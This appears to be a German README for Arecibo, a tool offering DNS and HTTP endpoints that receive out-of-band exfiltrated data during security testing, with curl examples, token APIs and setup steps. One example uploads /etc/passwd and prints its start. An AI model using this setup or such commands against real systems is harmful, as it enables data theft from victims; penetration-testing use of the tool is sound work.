Arecibo

Endpunkt für Out-of-Band-Exfiltration (DNS & HTTP)

Autoren

Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)

DNS-Exfiltration

Erstelle einen neuen Token:

curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

Jetzt kannst du diesen identifizierenden Token für DNS-Auflösungen verwenden (ABCD.TOKEN.x.yourdomain.com):

> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

Du kannst die Treffer und die exfiltrierten Daten über /hitsdns/TOKEN überprüfen:

curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

Wenn du alle verketteten Daten haben möchtest, verwende /dumpdns/token:

curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

HTTP-Exfiltration

Token generieren:

curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

Jetzt kannst du Informationen über HTTP-Anfragen exfiltrieren (http://yourodmain.com/h/TOKEN). Die GET-/POST-Parameter, Header und IP werden von Arecibo registriert.

curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

Um die Informationen abzurufen, verwende /hitshttp/TOKEN:

 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

Wenn du beliebiges HTML, HEADER oder Statuscodes anzeigen möchtest, verwende die POST-Methode, um deren Werte zu setzen (Body muss base64-kodiert sein):

curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

Dynamische DNS-Auflösung

Arecibo löst Domains mit dem Schema X.Y.Z.A.ip.yourdomain.com als X.Y.Z.A auf:

> 10.0.0.1.ip.yourdomain.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   yourdomain.com
Address: 10.0.0.1

Dateiübertragung

Lade eine Datei über den /upload-Endpunkt hoch:

curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

Um sie herunterzuladen, verwende den generierten Token:

curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

IP-Info

Zeigt die Client-IP über /ip an:

curl localhost:5000/ip
{"ip": "127.0.0.1"}

Installation & Konfiguration

Du musst pdns und pdns-backend-pipe aus den Repos deiner Distribution installieren, sowie die Module flask und flask_restful für Python.

1. Bearbeite die Konfiguration von arecibo-dns-backend.py mit deinen Werten
2. Setze Ausführungsberechtigungen chmod +x arecibo-dns-backend.py
3. Bearbeite pdns.conf (überprüfe, wo sie sich in deiner Distribution befindet)

setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(Ändere die setuid/setgid auf die Werte, die zum Ausführen des API-Skripts verwendet werden, sie müssen identisch sein)

4. Führe arecibo-api.py und pdns_server aus (überprüfe, wo sie sich in deiner Distribution befinden)

DEIN SERVER MUSS ALS AUTHORITATIVER DNS FÜR DEINE DOMAIN KONFIGURIERT SEIN

WICHTIG: Du musst einen nginx oder einen anderen Reverse-Proxy vor Arecibo einrichten, um Authentifizierung und Sicherheit zu gewährleisten.